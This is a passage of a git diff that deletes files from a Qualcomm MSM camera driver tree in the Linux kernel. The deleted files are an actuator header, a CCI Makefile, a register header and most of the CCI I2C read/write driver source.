msm_actuator_ctrl_t *, - int16_t, uint32_t, uint16_t); - void (*actuator_write_focus)(struct msm_actuator_ctrl_t *, - uint16_t, - struct damping_params_t *, - int8_t, - int16_t); - int32_t (*actuator_set_position)(struct msm_actuator_ctrl_t *, - struct msm_actuator_set_position_t *); -}; - -struct msm_actuator { - enum actuator_type act_type; - struct msm_actuator_func_tbl func_tbl; -}; - -struct msm_actuator_vreg { - struct camera_vreg_t *cam_vreg; - void *data[MSM_ACTUATOT_MAX_VREGS]; - int num_vreg; -}; - -struct msm_actuator_ctrl_t { - struct i2c_driver *i2c_driver; - struct platform_driver *pdriver; - struct platform_device *pdev; - struct msm_camera_i2c_client i2c_client; - enum msm_camera_device_type_t act_device_type; - struct msm_sd_subdev msm_sd; - enum af_camera_name cam_name; - struct mutex *actuator_mutex; - struct msm_actuator_func_tbl *func_tbl; - enum msm_actuator_data_type i2c_data_type; - struct v4l2_subdev sdev; - struct v4l2_subdev_ops *act_v4l2_subdev_ops; - - int16_t curr_step_pos; - uint16_t curr_region_index; - uint16_t *step_position_table; - struct region_params_t region_params[MAX_ACTUATOR_REGION]; - uint16_t reg_tbl_size; - struct msm_actuator_reg_params_t reg_tbl[MAX_ACTUATOR_REG_TBL_SIZE]; - uint16_t region_size; - void *user_data; - uint32_t vcm_pwd; - uint32_t vcm_enable; - uint32_t total_steps; - uint16_t pwd_step; - uint16_t initial_code; - struct msm_camera_i2c_reg_array *i2c_reg_tbl; - uint16_t i2c_tbl_index; - enum cci_i2c_master_t cci_master; - uint32_t subdev_id; - enum msm_actuator_state_t actuator_state; - struct msm_actuator_vreg vreg_cfg; -}; - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile deleted file mode 100644 index 0c6a8781a7304..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSM_CCI) += msm_cci.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h deleted file mode 100644 index 059633bfd54ab..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h +++ /dev/null @@ -1,58 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_CAM_CCI_HWREG__ -#define __MSM_CAM_CCI_HWREG__ - -#define CCI_HW_VERSION_ADDR 0x00000000 -#define CCI_RESET_CMD_ADDR 0x00000004 -#define CCI_RESET_CMD_RMSK 0x0f73f3f7 -#define CCI_M0_RESET_RMSK 0x3F1 -#define CCI_M1_RESET_RMSK 0x3F001 -#define CCI_QUEUE_START_ADDR 0x00000008 -#define CCI_SET_CID_SYNC_TIMER_0_ADDR 0x00000010 -#define CCI_I2C_M0_SCL_CTL_ADDR 0x00000100 -#define CCI_I2C_M0_SDA_CTL_0_ADDR 0x00000104 -#define CCI_I2C_M0_SDA_CTL_1_ADDR 0x00000108 -#define CCI_I2C_M0_SDA_CTL_2_ADDR 0x0000010c -#define CCI_I2C_M0_READ_DATA_ADDR 0x00000118 -#define CCI_I2C_M0_MISC_CTL_ADDR 0x00000110 -#define CCI_I2C_M0_READ_BUF_LEVEL_ADDR 0x0000011C -#define CCI_HALT_REQ_ADDR 0x00000034 -#define CCI_M0_HALT_REQ_RMSK 0x1 -#define CCI_M1_HALT_REQ_RMSK 0x2 -#define CCI_I2C_M1_SCL_CTL_ADDR 0x00000200 -#define CCI_I2C_M1_SDA_CTL_0_ADDR 0x00000204 -#define CCI_I2C_M1_SDA_CTL_1_ADDR 0x00000208 -#define CCI_I2C_M1_SDA_CTL_2_ADDR 0x0000020c -#define CCI_I2C_M1_MISC_CTL_ADDR 0x00000210 -#define CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR 0x00000304 -#define CCI_I2C_M0_Q0_CUR_CMD_ADDR 0x00000308 -#define CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR 0x00000300 -#define CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x00000310 -#define CCI_IRQ_MASK_0_ADDR 0x00000c04 -#define CCI_IRQ_MASK_0_RMSK 0x7fff7ff7 -#define CCI_IRQ_CLEAR_0_ADDR 0x00000c08 -#define CCI_IRQ_STATUS_0_ADDR 0x00000c0c -#define CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK_BMSK 0x4000000 -#define CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK_BMSK 0x2000000 -#define CCI_IRQ_STATUS_0_RST_DONE_ACK_BMSK 0x1000000 -#define CCI_IRQ_STATUS_0_I2C_M1_Q1_REPORT_BMSK 0x100000 -#define CCI_IRQ_STATUS_0_I2C_M1_Q0_REPORT_BMSK 0x10000 -#define CCI_IRQ_STATUS_0_I2C_M1_RD_DONE_BMSK 0x1000 -#define CCI_IRQ_STATUS_0_I2C_M0_Q1_REPORT_BMSK 0x100 -#define CCI_IRQ_STATUS_0_I2C_M0_Q0_REPORT_BMSK 0x10 -#define CCI_IRQ_STATUS_0_I2C_M0_ERROR_BMSK 0x18000EE6 -#define CCI_IRQ_STATUS_0_I2C_M1_ERROR_BMSK 0x60EE6000 -#define CCI_IRQ_STATUS_0_I2C_M0_RD_DONE_BMSK 0x1 -#define CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x00000c00 -#endif /* __MSM_CAM_CCI_HWREG__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c deleted file mode 100644 index 1a003f7c066b8..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c +++ /dev/null @@ -1,1421 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_sd.h" -#include "msm_cci.h" -#include "msm_cam_cci_hwreg.h" -#include "msm_camera_io_util.h" - -#define V4L2_IDENT_CCI 50005 -#define CCI_I2C_QUEUE_0_SIZE 64 -#define CCI_I2C_QUEUE_1_SIZE 16 -#define CYCLES_PER_MICRO_SEC 4915 -#define CCI_MAX_DELAY 10000 - -#define CCI_TIMEOUT msecs_to_jiffies(100) - -/* TODO move this somewhere else */ -#define MSM_CCI_DRV_NAME "msm_cci" - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define CDBG(fmt, args...) do {} while (0) -#endif - -/* Max bytes that can be read per CCI read transaction */ -#define CCI_READ_MAX 12 -#define CCI_I2C_READ_MAX_RETRIES 3 -#define CCI_I2C_MAX_READ 8192 -#define CCI_I2C_MAX_WRITE 8192 - -static struct v4l2_subdev *g_cci_subdev; - -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to aviod ref_count chaos if cci_init and cci_release concurrency happened*/ -static struct mutex ref_count_lock; -#endif - -static struct msm_cam_clk_info cci_clk_info[CCI_NUM_CLK_MAX]; - -static void msm_cci_set_clk_param(struct cci_device *cci_dev, - struct msm_camera_cci_ctrl *c_ctrl) -{ - struct msm_cci_clk_params_t *clk_params = NULL; - enum cci_i2c_master_t master = c_ctrl->cci_info->cci_i2c_master; - enum i2c_freq_mode_t i2c_freq_mode = c_ctrl->cci_info->i2c_freq_mode; - - if (cci_dev->master_clk_init[master]) - return; - clk_params = &cci_dev->cci_clk_params[i2c_freq_mode]; - - if (MASTER_0 == master) { - msm_camera_io_w_mb(clk_params->hw_thigh << 16 | - clk_params->hw_tlow, - cci_dev->base + CCI_I2C_M0_SCL_CTL_ADDR); - msm_camera_io_w_mb(clk_params->hw_tsu_sto << 16 | - clk_params->hw_tsu_sta, - cci_dev->base + CCI_I2C_M0_SDA_CTL_0_ADDR); - msm_camera_io_w_mb(clk_params->hw_thd_dat << 16 | - clk_params->hw_thd_sta, - cci_dev->base + CCI_I2C_M0_SDA_CTL_1_ADDR); - msm_camera_io_w_mb(clk_params->hw_tbuf, - cci_dev->base + CCI_I2C_M0_SDA_CTL_2_ADDR); - msm_camera_io_w_mb(clk_params->hw_scl_stretch_en << 8 | - clk_params->hw_trdhld << 4 | clk_params->hw_tsp, - cci_dev->base + CCI_I2C_M0_MISC_CTL_ADDR); - } else if (MASTER_1 == master) { - msm_camera_io_w_mb(clk_params->hw_thigh << 16 | - clk_params->hw_tlow, - cci_dev->base + CCI_I2C_M1_SCL_CTL_ADDR); - msm_camera_io_w_mb(clk_params->hw_tsu_sto << 16 | - clk_params->hw_tsu_sta, - cci_dev->base + CCI_I2C_M1_SDA_CTL_0_ADDR); - msm_camera_io_w_mb(clk_params->hw_thd_dat << 16 | - clk_params->hw_thd_sta, - cci_dev->base + CCI_I2C_M1_SDA_CTL_1_ADDR); - msm_camera_io_w_mb(clk_params->hw_tbuf, - cci_dev->base + CCI_I2C_M1_SDA_CTL_2_ADDR); - msm_camera_io_w_mb(clk_params->hw_scl_stretch_en << 8 | - clk_params->hw_trdhld << 4 | clk_params->hw_tsp, - cci_dev->base + CCI_I2C_M1_MISC_CTL_ADDR); - } - cci_dev->master_clk_init[master] = 1; - return; -} - -static void msm_cci_flush_queue(struct cci_device *cci_dev, - enum cci_i2c_master_t master) -{ - int32_t rc = 0; - - msm_camera_io_w_mb(1 << master, cci_dev->base + CCI_HALT_REQ_ADDR); - rc = wait_for_completion_timeout( - &cci_dev->cci_master_info[master].reset_complete, CCI_TIMEOUT); - if (rc < 0) { - pr_err("%s:%d wait failed\n", __func__, __LINE__); - } else if (rc == 0) { - pr_err("%s:%d wait timeout\n", __func__, __LINE__); - - /* Set reset pending flag to TRUE */ - cci_dev->cci_master_info[master].reset_pending = TRUE; - - /* Set proper mask to RESET CMD address based on MASTER */ - if (master == MASTER_0) - msm_camera_io_w_mb(CCI_M0_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - else - msm_camera_io_w_mb(CCI_M1_RESET_RMSK, - cci_dev->base + CCI_RESET_CMD_ADDR); - - /* wait for reset done irq */ - rc = wait_for_completion_timeout( - &cci_dev->cci_master_info[master].reset_complete, - CCI_TIMEOUT); - if (rc <= 0) - pr_err("%s:%d wait failed %d\n", __func__, __LINE__, - rc); - } - return; -} - -static int32_t msm_cci_validate_queue(struct cci_device *cci_dev, - uint32_t len, - enum cci_i2c_master_t master, - enum cci_i2c_queue_t queue) -{ - int32_t rc = 0; - uint32_t read_val = 0; - uint32_t reg_offset = master * 0x200 + queue * 0x100; - read_val = msm_camera_io_r_mb(cci_dev->base + - CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR + reg_offset); - CDBG("%s line %d CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR %d len %d max %d\n", - __func__, __LINE__, read_val, len, - cci_dev->cci_i2c_queue_info[master][queue].max_queue_size); - if ((read_val + len + 1) > cci_dev-> - cci_i2c_queue_info[master][queue].max_queue_size) { - uint32_t reg_val = 0; - uint32_t report_val = CCI_I2C_REPORT_CMD | (1 << 8); - CDBG("%s:%d CCI_I2C_REPORT_CMD\n", __func__, __LINE__); - msm_camera_io_w_mb(report_val, - cci_dev->base + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + - reg_offset); - read_val++; - CDBG("%s:%d CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR %d\n", - __func__, __LINE__, read_val); - msm_camera_io_w_mb(read_val, cci_dev->base + - CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR + reg_offset); - reg_val = 1 << ((master * 2) + queue); - CDBG("%s:%d CCI_QUEUE_START_ADDR\n", __func__, __LINE__); - msm_camera_io_w_mb(reg_val, cci_dev->base + - CCI_QUEUE_START_ADDR); - CDBG("%s line %d wait_for_completion_interruptible\n", - __func__, __LINE__); - rc = wait_for_completion_timeout(&cci_dev-> - cci_master_info[master].reset_complete, CCI_TIMEOUT); - if (rc <= 0) { - pr_err("%s: wait_for_completion_timeout %d\n", - __func__, __LINE__); - if (rc == 0) - rc = -ETIMEDOUT; - msm_cci_flush_queue(cci_dev, master); - return rc; - } - rc = cci_dev->cci_master_info[master].status; - if (rc < 0) - pr_err("%s failed rc %d\n", __func__, rc); - } - return rc; -} - -static int32_t msm_cci_data_queue(struct cci_device *cci_dev, - struct msm_camera_cci_ctrl *c_ctrl, enum cci_i2c_queue_t queue) -{ - uint16_t i = 0, j = 0, k = 0, h = 0, len = 0; - int32_t rc = 0; - uint32_t cmd = 0, delay = 0; - uint8_t data[11]; - uint16_t reg_addr = 0; - struct msm_camera_i2c_reg_setting *i2c_msg = - &c_ctrl->cfg.cci_i2c_write_cfg; - uint16_t cmd_size = i2c_msg->size; - struct msm_camera_i2c_reg_array *i2c_cmd = i2c_msg->reg_setting; - enum cci_i2c_master_t master = c_ctrl->cci_info->cci_i2c_master; - - if (i2c_cmd == NULL) { - pr_err("%s:%d Failed line\n", __func__, - __LINE__); - return -EINVAL; - } - - if ((!cmd_size) || (cmd_size > CCI_I2C_MAX_WRITE)) { - pr_err("%s:%d Failed line\n", __func__, __LINE__); - return -EINVAL; - } - - CDBG("%s addr type %d data type %d\n", __func__, - i2c_msg->addr_type, i2c_msg->data_type); - - if (i2c_msg->addr_type >= MSM_CAMERA_I2C_ADDR_TYPE_MAX) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return -EINVAL; - } - if (i2c_msg->data_type >= MSM_CAMERA_I2C_DATA_TYPE_MAX) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return -EINVAL; - } - /* assume total size within the max queue */ - while (cmd_size) { - CDBG("%s cmd_size %d addr 0x%x data 0x%x", __func__, - cmd_size, i2c_cmd->reg_addr, i2c_cmd->reg_data); - delay = i2c_cmd->delay; - data[i++] = CCI_I2C_WRITE_CMD; - if (i2c_cmd->reg_addr) - reg_addr = i2c_cmd->reg_addr; - /* either byte or word addr */ - if (i2c_msg->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) - data[i++] = reg_addr; - else { - data[i++] = (reg_addr & 0xFF00) >> 8; - data[i++] = reg_addr & 0x00FF; - } - /* max of 10 data bytes */ - do { - if (i2c_msg->data_type == MSM_CAMERA_I2C_BYTE_DATA) { - data[i++] = i2c_cmd->reg_data; - reg_addr++; - } else { - if ((i + 1) <= 10) { - data[i++] = (i2c_cmd->reg_data & - 0xFF00) >> 8; /* MSB */ - data[i++] = i2c_cmd->reg_data & - 0x00FF; /* LSB */ - reg_addr += 2; - } else - break; - } - i2c_cmd++; - } while (--cmd_size && !i2c_cmd->reg_addr && (i <= 10)); - data[0] |= ((i-1) << 4); - len = ((i-1)/4) + 1; - rc = msm_cci_validate_queue(cci_dev, len, master, queue); - if (rc < 0) { - pr_err("%s: failed %d", __func__, __LINE__); - return rc; - } - for (h = 0, k = 0; h < len; h++) { - cmd = 0; - for (j = 0; (j < 4 && k < i); j++) - cmd |= (data[k++] << (j * 8)); - CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x%x\n", - __func__, cmd); - msm_camera_io_w_mb(cmd, cci_dev->base + - CCI_I2C_M0_Q0_LOAD_DATA_ADDR + - master * 0x200 + queue * 0x100); - } - if ((delay > 0) && (delay < CCI_MAX_DELAY)) { - cmd = (uint32_t)((delay * CYCLES_PER_MICRO_SEC) / - 0x100); - cmd <<= 4; - cmd |= CCI_I2C_WAIT_CMD; - CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x%x\n", - __func__, cmd); - msm_camera_io_w_mb(cmd, cci_dev->base + - CCI_I2C_M0_Q0_LOAD_DATA_ADDR + - master * 0x200 + queue * 0x100); - } - i = 0; - } - return rc; -} - -static int32_t msm_cci_write_i2c_queue(struct cci_device *cci_dev, - uint32_t val, - enum cci_i2c_master_t master, - enum cci_i2c_queue_t queue) -{ - int32_t rc = 0; - uint32_t reg_offset = master * 0x200 + queue * 0x100; - CDBG("%s:%d called\n", __func__, __LINE__); - rc = msm_cci_validate_queue(cci_dev, 1, master, queue); - if (rc < 0) { - pr_err("%s: failed %d", __func__, __LINE__); - return rc; - } - CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR:val 0x%x:0x%x\n", - __func__, CCI_I2C_M0_Q0_LOAD_DATA_ADDR + - reg_offset, val); - msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + - reg_offset); - return rc; -} - -static int32_t msm_cci_i2c_read(struct v4l2_subdev *sd, - struct msm_camera_cci_ctrl *c_ctrl) -{ - int32_t rc = 0; - uint32_t val = 0; - int32_t read_words = 0, exp_words = 0; - int32_t index = 0, first_byte = 0; - uint32_t i = 0; - enum cci_i2c_master_t master; - enum cci_i2c_queue_t queue = QUEUE_1; - struct cci_device *cci_dev = NULL; - struct msm_camera_cci_i2c_read_cfg *read_cfg = NULL; - CDBG("%s line %d\n", __func__, __LINE__); - cci_dev = v4l2_get_subdevdata(sd); - master = c_ctrl->cci_info->cci_i2c_master; - read_cfg = &c_ctrl->cfg.cci_i2c_read_cfg; - mutex_lock(&cci_dev->cci_master_info[master].mutex); - - /* - * Call validate queue to make sure queue is empty before starting. - * If this call fails, don't proceed with i2c_read call. This is to - * avoid overflow / underflow of queue - */ - rc = msm_cci_validate_queue(cci_dev, - cci_dev->cci_i2c_queue_info[master][queue].max_queue_size - 1, - master, queue); - if (rc < 0) { - pr_err("%s:%d Initial validataion failed rc %d\n", __func__, - __LINE__, rc); - goto ERROR; - } - - if (c_ctrl->cci_info->retries > CCI_I2C_READ_MAX_RETRIES) { - pr_err("%s:%d More than max retries\n", __func__, - __LINE__); - goto ERROR; - } - - if (read_cfg->data == NULL) { - pr_err("%s:%d Data ptr is NULL\n", __func__, - __LINE__); - goto ERROR; - } - - CDBG("%s master %d, queue %d\n", __func__, master, queue); - CDBG("%s set param sid 0x%x retries %d id_map %d\n", __func__, - c_ctrl->cci_info->sid, c_ctrl->cci_info->retries, - c_ctrl->cci_info->id_map); - val = CCI_I2C_SET_PARAM_CMD | c_ctrl->cci_info->sid << 4 | - c_ctrl->cci_info->retries << 16 | - c_ctrl->cci_info->id_map << 18; - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = CCI_I2C_LOCK_CMD; - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - if (read_cfg->addr_type >= MSM_CAMERA_I2C_ADDR_TYPE_MAX) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - if (read_cfg->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) - val = CCI_I2C_WRITE_DISABLE_P_CMD | (read_cfg->addr_type << 4) | - ((read_cfg->addr & 0xFF) << 8); - if (read_cfg->addr_type == MSM_CAMERA_I2C_WORD_ADDR) - val = CCI_I2C_WRITE_DISABLE_P_CMD | (read_cfg->addr_type << 4) | - (((read_cfg->addr & 0xFF00) >> 8) << 8) | - ((read_cfg->addr & 0xFF) << 16); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = CCI_I2C_READ_CMD | (read_cfg->num_byte << 4); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = CCI_I2C_UNLOCK_CMD; - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = msm_camera_io_r_mb(cci_dev->base + CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR - + master * 0x200 + queue * 0x100); - CDBG("%s cur word cnt 0x%x\n", __func__, val); - msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR - + master * 0x200 + queue * 0x100); - - val = 1 << ((master * 2) + queue); - msm_camera_io_w_mb(val, cci_dev->base + CCI_QUEUE_START_ADDR); - CDBG("%s:%d E wait_for_completion_timeout\n", __func__, - __LINE__); - rc = wait_for_completion_timeout(&cci_dev-> - cci_master_info[master].reset_complete, CCI_TIMEOUT); - if (rc <= 0) { - pr_err("%s: wait_for_completion_timeout %d\n", - __func__, __LINE__); - if (rc == 0) - rc = -ETIMEDOUT; - msm_cci_flush_queue(cci_dev, master); - goto ERROR; - } else { - rc = 0; - } - CDBG("%s:%d E wait_for_completion_timeout\n", __func__, - __LINE__); - - read_words = msm_camera_io_r_mb(cci_dev->base + - CCI_I2C_M0_READ_BUF_LEVEL_ADDR + master * 0x100); - exp_words = ((read_cfg->num_byte / 4) + 1); - if (read_words != exp_words) { - pr_err("%s:%d read_words = %d, exp words = %d\n", __func__, - __LINE__, read_words, exp_words); - memset(read_cfg->data, 0, read_cfg->num_byte); - rc = -EINVAL; - goto ERROR; - } - index = 0; - CDBG("%s index %d num_type %d\n", __func__, index, - read_cfg->num_byte); - first_byte = 0; - do { - val = msm_camera_io_r_mb(cci_dev->base + - CCI_I2C_M0_READ_DATA_ADDR + master * 0x100); - CDBG("%s read val 0x%x\n", __func__, val); - for (i = 0; (i < 4) && (index < read_cfg->num_byte); i++) { - CDBG("%s i %d index %d\n", __func__, i, index); - if (!first_byte) { - CDBG("%s sid 0x%x\n", __func__, val & 0xFF); - first_byte++; - } else { - read_cfg->data[index] = - (val >> (i * 8)) & 0xFF; - CDBG("%s data[%d] 0x%x\n", __func__, index, - read_cfg->data[index]); - index++; - } - } - } while (--read_words > 0); -ERROR: - mutex_unlock(&cci_dev->cci_master_info[master].mutex); - return rc; -} - -static int32_t msm_cci_i2c_read_bytes(struct v4l2_subdev *sd, - struct msm_camera_cci_ctrl *c_ctrl) -{ - int32_t rc = 0; - struct cci_device *cci_dev = NULL; - enum cci_i2c_master_t master; - struct msm_camera_cci_i2c_read_cfg *read_cfg = NULL; - uint16_t read_bytes = 0; - - if (!sd || !c_ctrl) { - pr_err("%s:%d sd %p c_ctrl %p\n", __func__, - __LINE__, sd, c_ctrl); - return -EINVAL; - } - if (!c_ctrl->cci_info) { - pr_err("%s:%d cci_info NULL\n", __func__, __LINE__); - return -EINVAL; - } - cci_dev = v4l2_get_subdevdata(sd); - if (!cci_dev) { - pr_err("%s:%d cci_dev NULL\n", __func__, __LINE__); - return -EINVAL; - } - - if (c_ctrl->cci_info->cci_i2c_master > MASTER_MAX - || c_ctrl->cci_info->cci_i2c_master < 0) { - pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); - return -EINVAL; - } -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to avoid cci read or write if cci_dev is already released*/ - if (cci_dev->cci_state == CCI_STATE_DISABLED){ - pr_err("%s:%d cci state is DISABLED!\n", __func__, __LINE__); - return -EINVAL; - } -#endif - - master = c_ctrl->cci_info->cci_i2c_master; - read_cfg = &c_ctrl->cfg.cci_i2c_read_cfg; - if ((!read_cfg->num_byte) || (read_cfg->num_byte > CCI_I2C_MAX_READ)) { - pr_err("%s:%d read num bytes 0\n", __func__, __LINE__); - rc = -EINVAL; - goto ERROR; - } - - read_bytes = read_cfg->num_byte; - do { - if (read_bytes > CCI_READ_MAX) - read_cfg->num_byte = CCI_READ_MAX; - else - read_cfg->num_byte = read_bytes; - rc = msm_cci_i2c_read(sd, c_ctrl); - if (rc < 0) { - pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); - goto ERROR; - } - if (read_bytes > CCI_READ_MAX) { - read_cfg->addr += CCI_READ_MAX; - read_cfg->data += CCI_READ_MAX; - read_bytes -= CCI_READ_MAX; - } else { - read_bytes = 0; - } - } while (read_bytes); -ERROR: - return rc; -} - -static int32_t msm_cci_i2c_write(struct v4l2_subdev *sd, - struct msm_camera_cci_ctrl *c_ctrl) -{ - int32_t rc = 0; - struct cci_device *cci_dev; - uint32_t val; - enum cci_i2c_master_t master; - enum cci_i2c_queue_t queue = QUEUE_0; - cci_dev = v4l2_get_subdevdata(sd); - if (c_ctrl->cci_info->cci_i2c_master > MASTER_MAX - || c_ctrl->cci_info->cci_i2c_master < 0) { - pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); - return -EINVAL; - } -#ifdef CONFIG_MACH_WT88047 -/*hufeng 2014-11-05 add to avoid cci read or write if cci_dev is already released*/ - if (cci_dev->cci_state == CCI_STATE_DISABLED){ - pr_err("%s:%d cci state is DISABLED!\n", __func__, __LINE__); - return -EINVAL; - } -#endif - - master = c_ctrl->cci_info->cci_i2c_master; - CDBG("%s master %d, queue %d\n", __func__, master, queue); - CDBG("%s set param sid 0x%x retries %d id_map %d\n", __func__, - c_ctrl->cci_info->sid, c_ctrl->cci_info->retries, - c_ctrl->cci_info->id_map); - mutex_lock(&cci_dev->cci_master_info[master].mutex); - - /* - * Call validate queue to make sure queue is empty before starting. - * If this call fails, don't proceed with i2c_write call. This is to - * avoid overflow / underflow of queue - */ - rc = msm_cci_validate_queue(cci_dev, - cci_dev->cci_i2c_queue_info[master][queue].max_queue_size - 1, - master, queue); - if (rc < 0) { - pr_err("%s:%d Initial validataion failed rc %d\n", __func__, - __LINE__, rc); - goto ERROR; - } - if (c_ctrl->cci_info->retries > CCI_I2C_READ_MAX_RETRIES) { - pr_err("%s:%d More than max retries\n", __func__, - __LINE__); - goto ERROR; - } - - val = CCI_I2C_SET_PARAM_CMD | c_ctrl->cci_info->sid << 4 | - c_ctrl->cci_info->retries << 16 | - c_ctrl->cci_info->id_map << 18; - CDBG("%s:%d CCI_I2C_SET_PARAM_CMD\n", __func__, __LINE__); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = CCI_I2C_LOCK_CMD; - CDBG("%s:%d CCI_I2C_LOCK_CMD\n", __func__, __LINE__); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - rc = msm_cci_data_queue(cci_dev, c_ctrl, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - val = CCI_I2C_UNLOCK_CMD; - CDBG("%s:%d CCI_I2C_UNLOCK_CMD\n", __func__, __LINE__); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = CCI_I2C_REPORT_CMD | (1 << 8); - CDBG("%s:%d CCI_I2C_REPORT_CMD\n", __func__, __LINE__); - rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); - if (rc < 0) { - CDBG("%s failed line %d\n", __func__, __LINE__); - goto ERROR; - } - - val = msm_camera_io_r_mb(cci_dev->base + CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR - + master * 0x200 + queue * 0x100); - CDBG("%s:%d cur word count %d\n", __func__, __LINE__, val); - CDBG("%s:%d CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR\n", __func__, __LINE__); - msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR - + master * 0x200 + queue * 0x100); - - val = 1 << ((master * 2) + queue); - CDBG("%s:%d CCI_QUEUE_START_ADDR\n", __func__, __LINE__); - msm_camera_io_w_mb(val, cci_dev->base + CCI_QUEUE_START_ADDR); - - CDBG("%s:%d E wait_for_completion_interruptible\n", - __func__, __LINE__); - rc = wait_for_completion_timeout(&cci_dev-> - cci_master_info[master].reset_complete, CCI_TIMEOUT); - if (rc <= 0) { - pr_err("%s: wait_for_completion_timeout %d\n", - __func__, __LINE__); - if (rc == 0) - rc = -ETIMEDOUT; - msm_cci_flush_queue(cci_dev, master); - goto ERROR; - } else { - rc = cci_dev->cci_master_info[master].status; - } - CDBG("%s:%d X wait_for_completion_interruptible\n", __func__, - __LINE__); - -ERROR: - mutex_unlock(&cci_dev->cci_master_info[master].mutex); - return rc; -} - -static int msm_cci_subdev_g_chip_ident(struct v4l2_subdev *sd, - struct v4l2_dbg_chip_ident *chip) -{ - if (!chip) { - pr_err("%s:%d: NULL pointer supplied for chip ident\n", - __func__, __LINE__); - return -EINVAL; - } - chip->ident = V4L2_IDENT_CCI; - chip->revision = 0; - return 0; -} - -static int32_t msm_cci_pinctrl_init(struct cci_device *cci_dev) -{ - struct msm_pinctrl_info *cci_pctrl = NULL; - - cci_pctrl = &cci_dev->cci_pinctrl; - cci_pctrl->pinctrl = 